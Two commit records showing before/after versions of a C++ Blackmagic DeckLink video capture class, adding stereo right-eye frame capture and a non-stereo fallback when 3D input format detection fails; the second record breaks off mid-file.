{"text":"<commit_before>#include \"blackmagicsdk_video_source.h\"\n#include \"deck_link_display_mode_detector.h\"\n#include <chrono>\n\nnamespace gg\n{\n\nVideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK()\n    : IVideoSource()\n    , _frame_rate(0.0)\n    , _video_buffer(nullptr)\n    , _video_buffer_length(0)\n    , _cols(0)\n    , _rows(0)\n    , _buffer_video_frame(VideoFrame(UYVY))\n    , _running(false)\n{\n    \/\/ nop\n}\n\n\nVideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK(size_t deck_link_index,\n                                                   ColourSpace colour)\n    : IVideoSource(colour)\n    , _frame_rate(0.0)\n    , _video_buffer(nullptr)\n    , _video_buffer_length(0)\n    , _cols(0)\n    , _rows(0)\n    , _buffer_video_frame(VideoFrame(colour, false)) \/\/ TODO manage data?\n    , _deck_link(nullptr)\n    , _deck_link_input(nullptr)\n    , _video_input_flags(bmdVideoInputFlagDefault | bmdVideoInputDualStream3D)\n    , _running(false)\n{\n    \/\/ Pixel format, i.e. colour space\n    BMDPixelFormat pixel_format;\n    switch(_colour)\n    {\n    case UYVY:\n        pixel_format = bmdFormat8BitYUV;\n        break;\n    case BGRA:\n    case I420:\n    default:\n        bail(\"BlackmagicSDK video source supports only the UYVY colour space\");\n    }\n\n    \/\/ Get an iterator through the available DeckLink ports\n    IDeckLinkIterator * deck_link_iterator = CreateDeckLinkIteratorInstance();\n    if (deck_link_iterator == nullptr)\n        bail(\"DeckLink drivers do not appear to be installed\");\n\n    HRESULT res;\n\n    \/\/ Get the desired DeckLink index (port)\n    int idx = deck_link_index;\n    while ((res = deck_link_iterator->Next(&_deck_link)) == S_OK)\n    {\n        if (idx == 0)\n            break;\n        --idx;\n\n        _deck_link->Release();\n    }\n    if (deck_link_iterator != nullptr)\n        deck_link_iterator->Release();\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK or _deck_link == nullptr)\n        bail(\n            std::string(\"Could not get DeckLink device \").append(std::to_string(deck_link_index))\n        );\n\n    \/\/ Get the input interface of connected DeckLink port\n    res = _deck_link->QueryInterface(IID_IDeckLinkInput, reinterpret_cast<void **>(&_deck_link_input));\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK)\n        bail(\"Could not get the Blackmagic DeckLink input interface\");\n\n    \/\/ Set the input format (i.e. display mode)\n    BMDDisplayMode display_mode;\n    std::string error_msg = \"\";\n    if (not detect_input_format(pixel_format, _video_input_flags, display_mode, _frame_rate, error_msg))\n    {\n        _video_input_flags ^= bmdVideoInputDualStream3D;\n        if (not detect_input_format(pixel_format, _video_input_flags, display_mode, _frame_rate, error_msg))\n            bail(error_msg);\n    }\n\n    \/\/ Set this object (IDeckLinkInputCallback instance) as callback\n    res = _deck_link_input->SetCallback(this);\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK)\n        bail(\"Could not set the callback of Blackmagic DeckLink device\");\n\n    \/\/ Enable video input\n    res = _deck_link_input->EnableVideoInput(display_mode,\n                                             pixel_format,\n                                             _video_input_flags);\n    \/\/ No glory\n    if (res != S_OK)\n        bail(\"Could not enable video input of Blackmagic DeckLink device\");\n\n    \/\/ Start streaming\n    _running = true;\n    res = _deck_link_input->StartStreams();\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK)\n    {\n        _running = false;\n        bail(\"Could not start streaming from the Blackmagic DeckLink device\");\n    }\n}\n\n\nVideoSourceBlackmagicSDK::~VideoSourceBlackmagicSDK()\n{\n    \/\/ Make sure streamer thread not trying to access buffer\n    std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n    _running = false;\n\n    \/\/ Stop streaming and disable enabled inputs\n    _deck_link_input->StopStreams();\n    _deck_link_input->DisableVideoInput();\n\n    \/\/ Release DeckLink members\n    release_deck_link();\n}\n\n\nbool VideoSourceBlackmagicSDK::get_frame_dimensions(int & width, int & height)\n{\n    \/\/ Make sure only this thread is accessing the cols and rows members now\n    std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n    if (_cols <= 0 or _rows <= 0)\n        return false;\n\n    width = _cols;\n    height = _rows;\n    return true;\n}\n\n\nbool VideoSourceBlackmagicSDK::get_frame(VideoFrame & frame)\n{\n    if (frame.colour() != _colour)\n        return false;\n\n    \/\/ Make sure only this thread is accessing the video frame data now\n    std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n\n    if (_video_buffer_length > 0 and _cols > 0 and _rows > 0)\n    {\n        frame.init_from_specs(_video_buffer, _video_buffer_length, _cols, _rows);\n        return true;\n    }\n    else\n        return false;\n}\n\n\ndouble VideoSourceBlackmagicSDK::get_frame_rate()\n{\n    return _frame_rate;\n}\n\n\nvoid VideoSourceBlackmagicSDK::set_sub_frame(int x, int y, int width, int height)\n{\n    \/\/ issue #147\n    throw VideoSourceError(\"Blackmagic does not support cropping yet\");\n}\n\n\nvoid VideoSourceBlackmagicSDK::get_full_frame()\n{\n    \/\/ nop: set_sub_frame currently not implemented\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::QueryInterface(REFIID iid, LPVOID * ppv)\n{\n    return E_NOINTERFACE;\n}\n\n\nULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::AddRef(void)\n{\n    __sync_add_and_fetch(&_n_ref, 1);\n    return _n_ref;\n}\n\n\nULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::Release(void)\n{\n    __sync_sub_and_fetch(&_n_ref, 1);\n    return _n_ref;\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFormatChanged(\n    BMDVideoInputFormatChangedEvents events,\n    IDeckLinkDisplayMode * display_mode,\n    BMDDetectedVideoInputFormatFlags format_flags\n)\n{\n    \/\/ not supported yet: see issue #149\n    return S_OK;\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFrameArrived(\n    IDeckLinkVideoInputFrame * video_frame,\n    IDeckLinkAudioInputPacket * audio_packet\n)\n{\n    if (not _running)\n        \/\/ nop if not running!\n        return S_OK;\n\n    \/\/ Not processing the audio packet, but only the video\n    \/\/ frame for the time being\n    if (video_frame == nullptr)\n        \/\/ nop if no data\n        return S_OK;\n\n    \/\/ Nr. of bytes of received data\n    size_t n_bytes = video_frame->GetRowBytes() * video_frame->GetHeight();\n\n    { \/\/ Artificial scope for data lock\n        \/\/ Make sure only this thread is accessing the buffer now\n        std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n\n        \/\/ Extend buffer if more memory needed than already allocated\n        if (n_bytes > _video_buffer_length)\n            _video_buffer = reinterpret_cast<uint8_t *>(\n                        realloc(_video_buffer, n_bytes * sizeof(uint8_t))\n            );\n        if (_video_buffer == nullptr) \/\/ something's terribly wrong!\n            \/\/ nop if something's terribly wrong!\n            return S_OK;\n\n        \/\/ Get the new data into the buffer\n        HRESULT res = video_frame->GetBytes(\n            reinterpret_cast<void **>(&_video_buffer)\n        );\n        \/\/ If data could not be read into the buffer, return\n        if (FAILED(res))\n            return res;\n        \/\/ Set video frame specs according to new data\n        _video_buffer_length = n_bytes;\n        _cols = video_frame->GetWidth();\n        _rows = video_frame->GetHeight();\n\n        \/\/ Propagate new video frame to observers\n        _buffer_video_frame.init_from_specs(\n            _video_buffer, _video_buffer_length, _cols, _rows\n        );\n    }\n\n    this->notify(_buffer_video_frame);\n\n    \/\/ Everything went fine, return success\n    return S_OK;\n}\n\n\nvoid VideoSourceBlackmagicSDK::release_deck_link() noexcept\n{\n    if (_deck_link_input != nullptr)\n    {\n        _deck_link_input->Release();\n        _deck_link_input = nullptr;\n    }\n\n    if (_deck_link != nullptr)\n        _deck_link->Release();\n}\n\n\nbool VideoSourceBlackmagicSDK::detect_input_format(BMDPixelFormat pixel_format,\n                                                   BMDVideoInputFlags & video_input_flags,\n                                                   BMDDisplayMode & display_mode,\n                                                   double & frame_rate,\n                                                   std::string & error_msg) noexcept\n{\n    std::vector<BMDDisplayMode> display_modes =\n    {\n        bmdModeHD1080p6000, bmdModeHD1080p5994,\n        bmdModeHD1080p50,\n        bmdModeHD1080p30, bmdModeHD1080p2997,\n        bmdModeHD1080p25, bmdModeHD1080p24, bmdModeHD1080p2398,\n        bmdModeHD1080i6000, bmdModeHD1080i5994,\n        bmdModeHD1080i50,\n        bmdModeHD720p60, bmdModeHD720p5994,\n        bmdModeHD720p50,\n        bmdMode4K2160p60, bmdMode4K2160p5994,\n        bmdMode4K2160p50,\n        bmdMode4K2160p30, bmdMode4K2160p2997,\n        bmdMode4K2160p25, bmdMode4K2160p24, bmdMode4K2160p2398,\n        bmdMode2k25, bmdMode2k24, bmdMode2k2398,\n    };\n\n    DeckLinkDisplayModeDetector detector(\n                _deck_link_input,\n                display_modes, pixel_format, video_input_flags\n    );\n    BMDDisplayMode display_mode_ = detector.get_display_mode();\n    if (display_mode_ != bmdModeUnknown)\n    {\n        frame_rate = detector.get_frame_rate();\n        display_mode = display_mode_;\n        video_input_flags = detector.get_video_input_flags();\n        return true;\n    }\n    else\n    {\n        error_msg = detector.get_error_msg();\n        return false;\n    }\n}\n\n}\n<commit_msg>Issue #5: hacker-style capturing of stereo frame into an extended buffer<commit_after>#include \"blackmagicsdk_video_source.h\"\n#include \"deck_link_display_mode_detector.h\"\n#include <chrono>\n\nnamespace gg\n{\n\nVideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK()\n    : IVideoSource()\n    , _frame_rate(0.0)\n    , _video_buffer(nullptr)\n    , _video_buffer_length(0)\n    , _cols(0)\n    , _rows(0)\n    , _buffer_video_frame(VideoFrame(UYVY))\n    , _running(false)\n{\n    \/\/ nop\n}\n\n\nVideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK(size_t deck_link_index,\n                                                   ColourSpace colour)\n    : IVideoSource(colour)\n    , _frame_rate(0.0)\n    , _video_buffer(nullptr)\n    , _video_buffer_length(0)\n    , _cols(0)\n    , _rows(0)\n    , _buffer_video_frame(VideoFrame(colour, false)) \/\/ TODO manage data?\n    , _deck_link(nullptr)\n    , _deck_link_input(nullptr)\n    , _video_input_flags(bmdVideoInputFlagDefault | bmdVideoInputDualStream3D)\n    , _running(false)\n{\n    \/\/ Pixel format, i.e. colour space\n    BMDPixelFormat pixel_format;\n    switch(_colour)\n    {\n    case UYVY:\n        pixel_format = bmdFormat8BitYUV;\n        break;\n    case BGRA:\n    case I420:\n    default:\n        bail(\"BlackmagicSDK video source supports only the UYVY colour space\");\n    }\n\n    \/\/ Get an iterator through the available DeckLink ports\n    IDeckLinkIterator * deck_link_iterator = CreateDeckLinkIteratorInstance();\n    if (deck_link_iterator == nullptr)\n        bail(\"DeckLink drivers do not appear to be installed\");\n\n    HRESULT res;\n\n    \/\/ Get the desired DeckLink index (port)\n    int idx = deck_link_index;\n    while ((res = deck_link_iterator->Next(&_deck_link)) == S_OK)\n    {\n        if (idx == 0)\n            break;\n        --idx;\n\n        _deck_link->Release();\n    }\n    if (deck_link_iterator != nullptr)\n        deck_link_iterator->Release();\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK or _deck_link == nullptr)\n        bail(\n            std::string(\"Could not get DeckLink device \").append(std::to_string(deck_link_index))\n        );\n\n    \/\/ Get the input interface of connected DeckLink port\n    res = _deck_link->QueryInterface(IID_IDeckLinkInput, reinterpret_cast<void **>(&_deck_link_input));\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK)\n        bail(\"Could not get the Blackmagic DeckLink input interface\");\n\n    \/\/ Set the input format (i.e. display mode)\n    BMDDisplayMode display_mode;\n    std::string error_msg = \"\";\n    if (not detect_input_format(pixel_format, _video_input_flags, display_mode, _frame_rate, error_msg))\n    {\n        _video_input_flags ^= bmdVideoInputDualStream3D;\n        if (not detect_input_format(pixel_format, _video_input_flags, display_mode, _frame_rate, error_msg))\n            bail(error_msg);\n    }\n\n    \/\/ Set this object (IDeckLinkInputCallback instance) as callback\n    res = _deck_link_input->SetCallback(this);\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK)\n        bail(\"Could not set the callback of Blackmagic DeckLink device\");\n\n    \/\/ Enable video input\n    res = _deck_link_input->EnableVideoInput(display_mode,\n                                             pixel_format,\n                                             _video_input_flags);\n    \/\/ No glory\n    if (res != S_OK)\n        bail(\"Could not enable video input of Blackmagic DeckLink device\");\n\n    \/\/ Start streaming\n    _running = true;\n    res = _deck_link_input->StartStreams();\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK)\n    {\n        _running = false;\n        bail(\"Could not start streaming from the Blackmagic DeckLink device\");\n    }\n}\n\n\nVideoSourceBlackmagicSDK::~VideoSourceBlackmagicSDK()\n{\n    \/\/ Make sure streamer thread not trying to access buffer\n    std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n    _running = false;\n\n    \/\/ Stop streaming and disable enabled inputs\n    _deck_link_input->StopStreams();\n    _deck_link_input->DisableVideoInput();\n\n    \/\/ Release DeckLink members\n    release_deck_link();\n}\n\n\nbool VideoSourceBlackmagicSDK::get_frame_dimensions(int & width, int & height)\n{\n    \/\/ Make sure only this thread is accessing the cols and rows members now\n    std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n    if (_cols <= 0 or _rows <= 0)\n        return false;\n\n    width = _cols;\n    height = _rows;\n    return true;\n}\n\n\nbool VideoSourceBlackmagicSDK::get_frame(VideoFrame & frame)\n{\n    if (frame.colour() != _colour)\n        return false;\n\n    \/\/ Make sure only this thread is accessing the video frame data now\n    std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n\n    if (_video_buffer_length > 0 and _cols > 0 and _rows > 0)\n    {\n        frame.init_from_specs(_video_buffer, _video_buffer_length, _cols, _rows);\n        return true;\n    }\n    else\n        return false;\n}\n\n\ndouble VideoSourceBlackmagicSDK::get_frame_rate()\n{\n    return _frame_rate;\n}\n\n\nvoid VideoSourceBlackmagicSDK::set_sub_frame(int x, int y, int width, int height)\n{\n    \/\/ issue #147\n    throw VideoSourceError(\"Blackmagic does not support cropping yet\");\n}\n\n\nvoid VideoSourceBlackmagicSDK::get_full_frame()\n{\n    \/\/ nop: set_sub_frame currently not implemented\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::QueryInterface(REFIID iid, LPVOID * ppv)\n{\n    return E_NOINTERFACE;\n}\n\n\nULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::AddRef(void)\n{\n    __sync_add_and_fetch(&_n_ref, 1);\n    return _n_ref;\n}\n\n\nULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::Release(void)\n{\n    __sync_sub_and_fetch(&_n_ref, 1);\n    return _n_ref;\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFormatChanged(\n    BMDVideoInputFormatChangedEvents events,\n    IDeckLinkDisplayMode * display_mode,\n    BMDDetectedVideoInputFormatFlags format_flags\n)\n{\n    \/\/ not supported yet: see issue #149\n    return S_OK;\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFrameArrived(\n    IDeckLinkVideoInputFrame * video_frame,\n    IDeckLinkAudioInputPacket * audio_packet\n)\n{\n    if (not _running)\n        \/\/ nop if not running!\n        return S_OK;\n\n    \/\/ Not processing the audio packet, but only the video\n    \/\/ frame for the time being\n    if (video_frame == nullptr)\n        \/\/ nop if no data\n        return S_OK;\n\n    \/\/ Nr. of bytes of received data\n    size_t n_bytes = video_frame->GetRowBytes() * video_frame->GetHeight();\n    if (is_stereo())\n        n_bytes *= 2;\n\n    { \/\/ Artificial scope for data lock\n        \/\/ Make sure only this thread is accessing the buffer now\n        std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n\n        \/\/ Extend buffer if more memory needed than already allocated\n        if (n_bytes > _video_buffer_length)\n            _video_buffer = reinterpret_cast<uint8_t *>(\n                        realloc(_video_buffer, n_bytes * sizeof(uint8_t))\n            );\n        if (_video_buffer == nullptr) \/\/ something's terribly wrong!\n            \/\/ nop if something's terribly wrong!\n            return S_OK;\n\n        \/\/ Get the new data into the buffer\n        HRESULT res = video_frame->GetBytes(\n            reinterpret_cast<void **>(&_video_buffer)\n        );\n        \/\/ If data could not be read into the buffer, return\n        if (FAILED(res))\n            return res;\n\n        if (is_stereo())\n        {\n            IDeckLinkVideoFrame *right_eye_frame = nullptr;\n            IDeckLinkVideoFrame3DExtensions *three_d_extensions = nullptr;\n            if ((video_frame->QueryInterface(\n                    IID_IDeckLinkVideoFrame3DExtensions,\n                    (void **) &three_d_extensions) != S_OK) ||\n                (three_d_extensions->GetFrameForRightEye(\n                    &right_eye_frame) != S_OK))\n            {\n                right_eye_frame = nullptr;\n            }\n\n            if (three_d_extensions != nullptr)\n                three_d_extensions->Release();\n\n            if (right_eye_frame != nullptr)\n            {\n                res = right_eye_frame->GetBytes(\n                    reinterpret_cast<void **>(&_video_buffer[n_bytes \/ 2])\n                );\n                right_eye_frame->Release();\n                \/\/ If data could not be read into the buffer, return\n                if (FAILED(res))\n                    return res;\n            }\n        }\n\n        \/\/ Set video frame specs according to new data\n        _video_buffer_length = n_bytes;\n        _cols = video_frame->GetWidth();\n        _rows = video_frame->GetHeight();\n\n        \/\/ Propagate new video frame to observers\n        _buffer_video_frame.init_from_specs(\n            _video_buffer, _video_buffer_length, _cols, _rows\n        );\n    }\n\n    this->notify(_buffer_video_frame);\n\n    \/\/ Everything went fine, return success\n    return S_OK;\n}\n\n\nvoid VideoSourceBlackmagicSDK::release_deck_link() noexcept\n{\n    if (_deck_link_input != nullptr)\n    {\n        _deck_link_input->Release();\n        _deck_link_input = nullptr;\n    }\n\n    if (_deck_link != nullptr)\n        _deck_link->Release();\n}\n\n\nbool VideoSourceBlackmagicSDK::detect_input_format(BMDPixelFormat pixel_format,\n                                                   BMDVideoInputFlags & video_input_flags,\n                                                   BMDDisplayMode & display_mode,\n                                                   double & frame_rate,\n                                                   std::string & error_msg) noexcept\n{\n    std::vector<BMDDisplayMode> display_modes =\n    {\n        bmdModeHD1080p6000, bmdModeHD1080p5994,\n        bmdModeHD1080p50,\n        bmdModeHD1080p30, bmdModeHD1080p2997,\n        bmdModeHD1080p25, bmdModeHD1080p24, bmdModeHD1080p2398,\n        bmdModeHD1080i6000, bmdModeHD1080i5994,\n        bmdModeHD1080i50,\n        bmdModeHD720p60, bmdModeHD720p5994,\n        bmdModeHD720p50,\n        bmdMode4K2160p60, bmdMode4K2160p5994,\n        bmdMode4K2160p50,\n        bmdMode4K2160p30, bmdMode4K2160p2997,\n        bmdMode4K2160p25, bmdMode4K2160p24, bmdMode4K2160p2398,\n        bmdMode2k25, bmdMode2k24, bmdMode2k2398,\n    };\n\n    DeckLinkDisplayModeDetector detector(\n                _deck_link_input,\n                display_modes, pixel_format, video_input_flags\n    );\n    BMDDisplayMode display_mode_ = detector.get_display_mode();\n    if (display_mode_ != bmdModeUnknown)\n    {\n        frame_rate = detector.get_frame_rate();\n        display_mode = display_mode_;\n        video_input_flags = detector.get_video_input_flags();\n        return true;\n    }\n    else\n    {\n        error_msg = detector.get_error_msg();\n        return false;\n    }\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"blackmagicsdk_video_source.h\"\n#include \"deck_link_display_mode_detector.h\"\n#include <thread>\n#include <chrono>\n\nnamespace gg\n{\n\nVideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK()\n    : IVideoSource()\n    , _frame_rate(0.0)\n    , _video_buffer(nullptr)\n    , _video_buffer_length(0)\n    , _cols(0)\n    , _rows(0)\n    , _buffer_video_frame(VideoFrame(UYVY))\n    , _running(false)\n{\n    \/\/ nop\n}\n\n\nVideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK(size_t deck_link_index,\n                                                   ColourSpace colour)\n    : IVideoSource(colour)\n    , _frame_rate(0.0)\n    , _video_buffer(nullptr)\n    , _video_buffer_length(0)\n    , _cols(0)\n    , _rows(0)\n    , _buffer_video_frame(VideoFrame(colour, false)) \/\/ TODO manage data?\n    , _deck_link(nullptr)\n    , _deck_link_input(nullptr)\n    , _running(false)\n{\n    \/\/ Pixel format, i.e. colour space\n    BMDPixelFormat pixel_format;\n    switch(_colour)\n    {\n    case UYVY:\n        pixel_format = bmdFormat8BitYUV;\n        break;\n    case BGRA:\n        pixel_format = bmdFormat8BitBGRA;\n        break;\n    case I420:\n    default:\n        bail(\"BlackmagicSDK video source supports only UYVY and BGRA colour spaces\");\n    }\n\n    \/\/ Get an iterator through the available DeckLink ports\n    IDeckLinkIterator * deck_link_iterator = CreateDeckLinkIteratorInstance();\n    if (deck_link_iterator == nullptr)\n        bail(\"DeckLink drivers do not appear to be installed\");\n\n    HRESULT res;\n\n    \/\/ Get the desired DeckLink index (port)\n    int idx = deck_link_index;\n    while ((res = deck_link_iterator->Next(&_deck_link)) == S_OK)\n    {\n        if (idx == 0)\n            break;\n        --idx;\n\n        _deck_link->Release();\n    }\n    if (deck_link_iterator != nullptr)\n        deck_link_iterator->Release();\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK or _deck_link == nullptr)\n        bail(\n            std::string(\"Could not get DeckLink device \").append(std::to_string(deck_link_index))\n        );\n\n    \/\/ Get the input interface of connected DeckLink port\n    res = _deck_link->QueryInterface(IID_IDeckLinkInput, reinterpret_cast<void **>(&_deck_link_input));\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK)\n        bail(\"Could not get the Blackmagic DeckLink input interface\");\n\n    \/\/ Set the input format (i.e. display mode)\n    BMDDisplayMode display_mode;\n    std::string error_msg = \"\";\n    BMDVideoInputFlags video_input_flags = bmdVideoInputFlagDefault\n            | bmdVideoInputDualStream3D;\n    if (not detect_input_format(pixel_format, video_input_flags, display_mode, _frame_rate, error_msg))\n        bail(error_msg);\n\n    \/\/ Set this object (IDeckLinkInputCallback instance) as callback\n    res = _deck_link_input->SetCallback(this);\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK)\n        bail(\"Could not set the callback of Blackmagic DeckLink device\");\n\n    \/\/ Enable video input\n    res = _deck_link_input->EnableVideoInput(display_mode,\n                                             pixel_format,\n                                             video_input_flags);\n    \/\/ No glory\n    if (res != S_OK)\n        bail(\"Could not enable video input of Blackmagic DeckLink device\");\n\n    \/\/ Start streaming\n    _running = true;\n    res = _deck_link_input->StartStreams();\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK)\n    {\n        _running = false;\n        bail(\"Could not start streaming from the Blackmagic DeckLink device\");\n    }\n\n    \/\/ artificial sleep introduced to allow for starting of streams\n    \/\/ the value is determined empirically\n    std::this_thread::sleep_for(std::chrono::milliseconds(75));\n}\n\n\nVideoSourceBlackmagicSDK::~VideoSourceBlackmagicSDK()\n{\n    { \/\/ Artificial scope for data lock\n        \/\/ Make sure streamer thread not trying to access buffer\n        std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n        _running = false;\n    }\n\n    \/\/ Stop streaming and disable enabled inputs\n    _deck_link_input->SetCallback(nullptr);\n    _deck_link_input->StopStreams();\n    _deck_link_input->DisableVideoInput();\n\n    \/\/ Release DeckLink members\n    release_deck_link();\n}\n\n\nbool VideoSourceBlackmagicSDK::get_frame_dimensions(int & width, int & height)\n{\n    \/\/ Make sure only this thread is accessing the cols and rows members now\n    std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n    if (_cols <= 0 or _rows <= 0)\n        return false;\n\n    width = _cols;\n    height = _rows;\n    return true;\n}\n\n\nbool VideoSourceBlackmagicSDK::get_frame(VideoFrame & frame)\n{\n    if (frame.colour() != _colour)\n        return false;\n\n    \/\/ Make sure only this thread is accessing the video frame data now\n    std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n\n    if (_video_buffer_length > 0 and _cols > 0 and _rows > 0)\n    {\n        frame.init_from_specs(_video_buffer, _video_buffer_length, _cols, _rows);\n        return true;\n    }\n    else\n        return false;\n}\n\n\ndouble VideoSourceBlackmagicSDK::get_frame_rate()\n{\n    return _frame_rate;\n}\n\n\nvoid VideoSourceBlackmagicSDK::set_sub_frame(int x, int y, int width, int height)\n{\n    \/\/ issue #147\n    throw VideoSourceError(\"Blackmagic does not support cropping yet\");\n}\n\n\nvoid VideoSourceBlackmagicSDK::get_full_frame()\n{\n    \/\/ nop: set_sub_frame currently not implemented\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::QueryInterface(REFIID iid, LPVOID * ppv)\n{\n    return E_NOINTERFACE;\n}\n\n\nULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::AddRef(void)\n{\n    __sync_add_and_fetch(&_n_ref, 1);\n    return _n_ref;\n}\n\n\nULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::Release(void)\n{\n    __sync_sub_and_fetch(&_n_ref, 1);\n    return _n_ref;\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFormatChanged(\n    BMDVideoInputFormatChangedEvents events,\n    IDeckLinkDisplayMode * display_mode,\n    BMDDetectedVideoInputFormatFlags format_flags\n)\n{\n    \/\/ not supported yet: see issue #149\n    return S_OK;\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFrameArrived(\n    IDeckLinkVideoInputFrame * video_frame,\n    IDeckLinkAudioInputPacket * audio_packet\n)\n{\n    if (not _running)\n        \/\/ nop if not running!\n        return S_OK;\n\n    \/\/ Not processing the audio packet, but only the video\n    \/\/ frame for the time being\n    if (video_frame == nullptr)\n        \/\/ nop if no data\n        return S_OK;\n\n    \/\/ Nr. of bytes of received data\n    size_t n_bytes = video_frame->GetRowBytes() * video_frame->GetHeight();\n\n    { \/\/ Artificial scope for data lock\n        \/\/ Make sure only this thread is accessing the buffer now\n        std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n\n        \/\/ Extend buffer if more memory needed than already allocated\n        if (n_bytes > _video_buffer_length)\n            _video_buffer = reinterpret_cast<uint8_t *>(\n                        realloc(_video_buffer, n_bytes * sizeof(uint8_t))\n            );\n        if (_video_buffer == nullptr) \/\/ something's terribly wrong!\n            \/\/ nop if something's terribly wrong!\n            return S_OK;\n\n        \/\/ Get the new data into the buffer\n        HRESULT res = video_frame->GetBytes(\n            reinterpret_cast<void **>(&_video_buffer)\n        );\n        \/\/ If data could not be read into the buffer, return\n        if (FAILED(res))\n            return res;\n        \/\/ Set video frame specs according to new data\n        _video_buffer_length = n_bytes;\n        _cols = video_frame->GetWidth();\n        _rows = video_frame->GetHeight();\n\n        \/\/ Propagate new video frame to observers\n        _buffer_video_frame.init_from_specs(\n            _video_buffer, _video_buffer_length, _cols, _rows\n        );\n    }\n\n    this->notify(_buffer_video_frame);\n\n    \/\/ Everything went fine, return success\n    return S_OK;\n}\n\n\nvoid VideoSourceBlackmagicSDK::release_deck_link() noexcept\n{\n    if (_deck_link_input != nullptr)\n    {\n        _deck_link_input->Release();\n        _deck_link_input = nullptr;\n    }\n\n    if (_deck_link != nullptr)\n        _deck_link->Release();\n}\n\n\nbool VideoSourceBlackmagicSDK::detect_input_format(BMDPixelFormat pixel_format,\n                                                   BMDVideoInputFlags & video_input_flags,\n                                                   BMDDisplayMode & display_mode,\n                                                   double & frame_rate,\n                                                   std::string & error_msg) noexcept\n{\n    std::vector<BMDDisplayMode> display_modes =\n    {\n        bmdModeHD1080p6000, bmdModeHD1080p5994,\n        bmdModeHD1080p50,\n        bmdModeHD1080p30, bmdModeHD1080p2997,\n        bmdModeHD1080p25, bmdModeHD1080p24, bmdModeHD1080p2398,\n        bmdModeHD1080i6000, bmdModeHD1080i5994,\n        bmdModeHD1080i50,\n        bmdModeHD720p60, bmdModeHD720p5994,\n        bmdModeHD720p50,\n        bmdMode4K2160p60, bmdMode4K2160p5994,\n        bmdMode4K2160p50,\n        bmdMode4K2160p30, bmdMode4K2160p2997,\n        bmdMode4K2160p25, bmdMode4K2160p24, bmdMode4K2160p2398,\n        bmdMode2k25, bmdMode2k24, bmdMode2k2398,\n    };\n\n    DeckLinkDisplayModeDetector detector(\n                _deck_link_input,\n                display_modes, pixel_format, video_input_flags\n    );\n    BMDDisplayMode display_mode_ = detector.get_display_mode();\n    if (display_mode_ != bmdModeUnknown)\n    {\n        frame_rate = detector.get_frame_rate();\n        display_mode = display_mode_;\n        video_input_flags = detector.get_video_input_flags();\n        return true;\n    }\n    else\n    {\n        error_msg = detector.get_error_msg();\n        return false;\n    }\n}\n\n}\n<commit_msg>Issue #5: Blackmagic video source falls back to non-stereo in case bmdVideoInputDualStream3D flag leads to error in input format detection<commit_after>#include \"blackmagicsdk_video_source.h\"\n#include \"deck_link_display_mode_detector.h\"\n#include <thread>\n#include <chrono>\n\nnamespace gg\n{\n\nVideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK()\n    : IVideoSource()\n    , _frame_rate(0.0)\n    , _video_buffer(nullptr)\n    , _video_buffer_length(0)\n    , _cols(0)\n    , _rows(0)\n    , _buffer_video_frame(VideoFrame(UYVY))\n    , _running(false)\n{\n    \/\/ nop\n}\n\n\nVideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK(size_t deck_link_index,\n                                                   ColourSpace colour)\n    : IVideoSource(colour)\n    , _frame_rate(0.0)\n    , _video_buffer(nullptr)\n    , _video_buffer_length(0)\n    , _cols(0)\n    , _rows(0)\n    , _buffer_video_frame(VideoFrame(colour, false)) \/\/ TODO manage data?\n    , _deck_link(nullptr)\n    , _deck_link_input(nullptr)\n    , _running(false)\n{\n    \/\/ Pixel format, i.e. colour space\n    BMDPixelFormat pixel_format;\n    switch(_colour)\n    {\n    case UYVY:\n        pixel_format = bmdFormat8BitYUV;\n        break;\n    case BGRA:\n        pixel_format = bmdFormat8BitBGRA;\n        break;\n    case I420:\n    default:\n        bail(\"BlackmagicSDK video source supports only UYVY and BGRA colour 